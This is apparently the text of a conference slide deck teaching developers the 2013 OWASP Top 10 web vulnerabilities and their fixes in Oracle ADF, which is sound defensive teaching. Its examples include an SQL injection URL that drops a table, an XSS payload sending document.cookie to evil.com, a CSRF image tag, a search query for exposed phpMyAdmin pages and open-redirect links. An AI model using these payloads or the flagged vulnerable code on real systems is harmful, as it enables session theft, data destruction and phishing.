Top 10 Web Vulnerabilities, and Securing them with ADF

Brian “Bex” HuffChief Software Architect

2

Agenda

Intro

Open Web Application Security Project (OWASP)

Top 10 Web Application Security Vulnerabilities

Countermeasures

References

For the latest version of this presentation, go to SlideShare:

http://slideshare.com/bexmex

Intro

What is OWASP?• http://owasp.org• Worldwide non-profit focused on improving software security• Reaches out to ALL developers: not just security professionals

Who am I?• Oracle ACE Director• Author of 2 books on Oracle Technology• Twitter: @bex

What will you learn?• The top 10 security mistakes that developers make• How to design software with an assurance of security• You don’t need to be a security guru to secure your web apps

3

OWASP Top 10 of 2013

1) Injection

2) Broken Authentication and Session Management

3) Cross Site Scripting

4) Insecure Direct Object References

5) Security Misconfiguration

6) Sensitive Data Exposure (NEW)

7) Missing Function Level Access Control (NEW)

8) Cross Site Request Forgery (CSRF)

9) Using Components with Known Vulnerabilities (NEW)

10) Unvalidated Redirects and Forwards

4

1) Injection

Used when your app sends user-supplied data to other apps• Database, Operating System, LDAP, Web Services

Hackers "inject" their code to run instead of yours• To access unauthorized data, or completely take over remote application

Example: SQL injection attack• String query = "SELECT * FROM products WHERE name='" +

request.getParameter("id") +"'";

Code expects a nice parameter in the URL• http://example.com/products?id=123

Hackers could pass this into the URL instead• http://example.com/products?id=';+DROP+TABLE+'products';

5

Example

Don’t: name your child

Robert’); DROP TABLE Students;--

Do: expect SQL Injection

6

Countermeasures

"Connections" between systems are highly vulnerable

Always assume data coming in could be "evil"• Be sure to include "evil" use cases and user stories in your design

Ideally, only allow the user to select among "safe" options• Never allow them to pass data between systems unchecked

If user-input text is needed, use parameterized statements• Clean up quotes, parenthesis, and comments

Use a battle-tested library for protecting your database• ADF prepared statements, OWASP's ESAPI codecs

7

Example

// good idea

ViewObject studentVO = this.getStudentView();

studentVO.setNamedWhereClauseParam("id", id);

// bad idea!

ViewObject studentVO = this.getStudentView();

studentVO.setWhereClause("id = " + id);

// another bad idea!

String query = "select * from students where id=" + id;

ViewObject vo = appMod.createViewObjectFromQueryStmt(null,query);

8

ADF Input Validation

Occurs on most components automatically• Additional validate components available for additional filtering• validateLength, validateLongRange, convertDateTime, etc.

Exception: when immediate=true for some components• Can access raw, unfiltered data through managed bean

Hidden fields do not equal secure fields• Expect hackers to tamper with the HTML, and insert their own values• selectOne and selectMany do automatic validation, and are safe

Use caution with custom AJAX layers• Not always subject to ADF input validation

9

2) Broken Authentication and Session Management

HTTP is a "stateless" protocol• Nice and simple: HTTP request, HTTP response• All data must be passed in the request every time

How do we store state?• Client side with cookies• Server side with sessions

Most apps place a "sessionId" in cookies, or in the URL• Problem: now stealing sessionIds is just as good as stealing passwords!

Multiple ways to determine a session ID• packet sniffing -- especially on an open WiFi access point• HttpReferrer logs, if sessionId is in the URL

10

Countermeasures

Assume that a user stole a session ID• Determine how bad this would be in your application

Use SSL everywhere!• Makes it harder for people to “sniff” your session ID

If you cannot use SSL everywhere, use it for logins• Have a cryptographically strong session ID (ADF default)

• Have a reasonable timeout, one hour is fine

11

ADF Countermeasures

Don’t pass the jsessionid in the URL, put it in a cookie• Evil sites can sniff your session ID from their referrer logs • Cookies harder to sniff if SSL is enabled

Sample web.xml snippet

<session-descriptor>

<cookie-name>MYAPPSESSID</cookie-name>

<url-rewriting-enabled>false</url-rewriting-enabled>

<timeout-secs>3600</timeout-secs>

</session-descriptor> 

12

3) Cross Site Scripting (XSS)

Sites must "cleanse" user input before displaying it• HTML tags can be very dangerous• If a user can embed a <SCRIPT> tag, all is lost!

Hackers can create URLs to inject their own HTML onto the page• Can be used to do almost any kind of attack!!!

ADF is mostly safe, but occasionally vulnerable• User generated content is usually HTML encoded on the page

• <script> becomes &lt;script&gt;

• Use caution with the af:resource or f:verbatim tags• Never pass in unencoded data!

13

Example

Example: JSP to draw HTML based on user input• String html = "<input name='item' type='TEXT' value='" +

request.getParameter("item") + "'>";

Code expects a nice URL:• http://example.com/buy?item=123

But a hacker could supply this URL:• http://example.com/buy?item='><script>document.location='

http://evil.com/steal/'+document.cookie</script>

Then trick an administrator or superuser to go there• Cookie is stolen, and now evil user can connect as the admin!

14

Countermeasures

Never, ever, ever trust user-submitted content!

Properly "escape" any data before displaying it on web pages• JavaScript parameters, URL parameters, STYLE elements• Remove script tags, and possibly anything with a SRC attribute• Done automatically in ADF, but manually if you bypass ADF and write JS

• Use ESAPI to "cleanse" HTML before dumping to page

Do not allow state-change from HTTP GET requests• Otherwise, a rogue IMG tag could delete content

• No state change on initial ADF page load!

Set the HttpOnly flag in your response headers• Prevents document.cookie from working in JavaScript

15

4) Insecure Direct Object Reference

Assume my project id is 123

I see a link on “My Projects” page that goes here:• http://example.com/projects/123

If I alter the URL, can I see other people’s projects?• http://example.com/projects/124

Do you only restrict access in the web form?

What if I could "guess" the URL? Could I see the page?• Don't trick yourself into thinking complex URLs are any more secure• Security != Obscurity

16

Countermeasures

Every resource needs a security level• What roles do you need to access certain items?• Access Control Lists are easy to implement, but don’t always scale

All access to that resource should go through the same check• What action are you taking, with what resource?• Put it all in one common codebase for simplicity• May need to run check multiple times, for sub-actions and sub-resources• Unusual behavior? Have additional authentication questions/layers!

Front-end restriction is nice for usability, but not security

Ideally, put all security in the Application Module (model)• Single location to secure multiple views

17

Countermeasures, ctd.

Avoid direct object reference• Use a temporary variable relevant to just that user• Use a cryptographically strong variable

Validate all references, regardless

Validate access to that reference• Read, write, update, delete

18

ADF Global Security Expressions

#{securityContext.authenticated}

#{securityContext.userName}

#{securityContext.userInRole['roleList']}

#{securityContext.userInAllRoles['roleList']}

#{securityContext.taskflowViewable['target']}

#{securityContext.regionViewable['target']}

#{securityContext.userGrantedResource['permission']}

#{securityContext.userGrantedPermission['permission']}

19

5) Security Misconfiguration

Everything from the OS to the DB to the ADF framework

What if ADF issued a security patch?• Do you have a centralized policy for keeping dependencies up-to-date?• How long would it take you to discover new code?• How long would it take to recompile/test/redeploy?

Do you know all security configurations in the framework?• Odds are no... documentation is usually obtuse• “Being helpful is a security hole”

Have you properly "hardened" your infrastrurcture?• Delete default users, disable unused services and ports

• Operating System, WebLogic, Database, MDS

20

Countermeasures

Subscribe to newsletters and blog feeds to get patches• Use automation if possible to verify patches

Do periodic scans to detect misconfiguration / missing patches

Disable ports/services/features unused in production

Disable default users and passwords

Never send stack traces or SQL errors directly to end users

Taking over websites shouldn't be this easy:• http://www.google.com/search?

q=inurl:SELECT+inurl:FROM+inurl:WHERE+intitle:phpmyadmin

21

6) Sensitive Data Exposure

All applications store sensitive data• Credit cards, passwords, private health/financial documents

Where does this data get stored?• Database, files, logs, backups, etc.

Where does this data get sent?• Over the web, backup databases, partners, internal emails• JMS queue, web service calls

How are you preventing unauthorized access to all these resources?

22

Storage Layer Countermeasures

If you store secrets, encrypt them!• Use only battle-tested standard encryption algorithms

Analyze possible threats: inside attack, external user• Make sure encryption policy is appropriate for the threats

Encrypt data anywhere it's stored long term• Especially backups!• Store backups of decryption keys separately from data

Restrict access to decrypted data to only authorized users

Hash all passwords with a standard algorithm, and a "salt"

Use strong keys to access the information

Create a password management policy, and stick with it!

23

Sane Pass Phrase Management Policy

24

Transport Layer Countermeasures

Use strong, standards compliant network security protocols• Use TLS (SSL) on all connections with sensitive data

Encrypt messages before transmission• XML-Encryption

Sign messages before transmission• XML-Signature

Disable old, flawed encryption algorithms (ie, SSL 2.0)

25

7) Missing Function Level Access Control

Similar to Insecure Direct Object Reference• Need to block specific actions, even if no resource is identified

Example: my project is 123

I will see these URLs on my home page:• http://example.com/project/123• http://example.com/user/getProjects/

I could fish around and try other URLs as well:• http://example.com/manager/getProjects/• http://example.com/admin/getProjects/

Would your application prevent this?

Same general issue: • you have front-end security, but not back-end security

26

Countermeasures

Do authentication checks at least twice• Front end UI, and back end Controller

Don't draw URLs to the page if the user cannot access them• Bad usability• Hackers might be tempted to fish around for vulnerabilities

Never assume a URL is allowed• Do back-end checks for access, and state change

Add even more layers as needed:• Does all security information exist in the URL?

• Can you authenticate right away?

• Might you need to get half way through the request before you know what rights are needed?

• What if the user has access, but their behavior is unusual

• should you prompt for password again, or perhaps for additional authorization?

27

8) Cross-Site Request Forgery

Evil sites can hijack your browser, and run secure requests:1) User logs into secure application behind the firewall

http://example.com/myApp2) User goes to "evil" website, or loads up "evil" HTML email

3) HTML contains this image:

<img src="http://example.com/myApp/deleteEverything"></img>

With JavaScript and XSS, evil sites can completely take over your browser• Can browse around your intranet, log into bank accounts• Anything you are currently logged into• Complete control, as long as you stay on the evil site

Unfortunate side-effect of Single-Sign-On28

Countermeasures

Need a unique token to validate that the request is authentic• The jsessionId is sometimes sufficient, but can be stolen with XSS• More secure: unique token for every HTTP request• If somebody steals your jsessionid, they can only do one request!

Steps to validate every request• Put a random number in the session for the next valid token• Put that token on every HTML web form that causes state change• When processing a request, validate the token• Generate another random token for the next request• Place that token in the session, repeat forever!• NOTE: might not be needed in JSF 2.1

http://blog.eisele.net/2011/02/preventing-csrf-with-jsf-20.html29

9) Using Components with Known Vulnerabilities

In addition to ADF, you may use other frameworks• Open Source Libraries• OEM Libraries• JavaScript frameworks• JARs and JARs and JARs of fun...

Automated hacker tools can find these dependencies• Unless you are always on the latest stable version, you are vulnerable

All possible attack vectors are open• XSS, injection, CDRF being the most common and most troublesome• Rages from annoying to complete takeover of your servers

30

Countermeasures

At a minimum, manually keep track of dependencies/versions• Developers must justify every JAR they depend on• Must manually keep track of version, and check before each release

Better still, use Maven to perform automated builds• Automatically check your JAR version vs. latest stable release

Both have risks to the build process• What if you have to refactor your code every time the JAR is revised?• Annoying, but a neccessary step to secure your applications

31

10) Unvalidated Redirects and Forwards

Most sites allow redirects to other sites, or pages within the site:• http://example.com/redirect?url=google.com

But, open redirect pages can be used by "phishers" to create links to their site:• http://example.com/redirect?url=evil.com

Link looks like it goes to "example.com", but it goes to "evil.com"

Or, can trick a site user into harming their own site:• http://example.com/redirect?url=/admin.jsp?deleteEverything=true

Sometimes called "phishing holes"32

ADF Attack Vectors

Common places to do redirects• PagePhaseListener• Download Servlet• Task Flow router

Example code for a redirect:

FacesContext fctx = FacesContext.getCurrentInstance();

fctx.getExternalContext().redirect("http://google.com");

33

Countermeasures

Restrict redirects to a limited number of "trusted" sites

Keep a list of all redirect URLs, and pass the ID in the request, instead of the URL• http://example.com/redirect?urlId=123

Hash the URL with a secret, and pass the hash in the URL• http://example.com/redirect?url=google.com&hash=a1b2c3

Example: does this URL look like a Google Invoice to you?• http://www.google.com/#invoiceId=123&q=oHg5SJYRHA0&btnI=3564

Question: are URL shorteners inherently unsafe?• TinyUrl offers a "preview" feature: others should as well

34

References

OWASP top 10, and associated resources• https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

ADF Code guidelines to prevent security holes:• http://www.oracle.com/technetwork/developer-tools/adf/learnmore/adf-

code-guidelines-v1-00-1845659.pdf

JavaScript best practices for ADF• http://www.oracle.com/technetwork/developer-tools/jdev/1-2011-javascript-

302460.pdf

Hardening Fusion Middleware to avoid OWASP issues: • http://antonfroehlich.blogspot.com/2012/06/handling-owasp-top-ten-

application.html

JSF and OWASP• http://turbomanage.files.wordpress.com/2009/10/securing-jsf-applications-

against-owasp-top-ten-color.pdf

35

36

My Company: http://bezzotech.com

My Blog: http://bexhuff.com

My Slides: http://slideshare.com/bexmex

My Tweets: @bex

My Self: bex@bezzotech.com

Questions?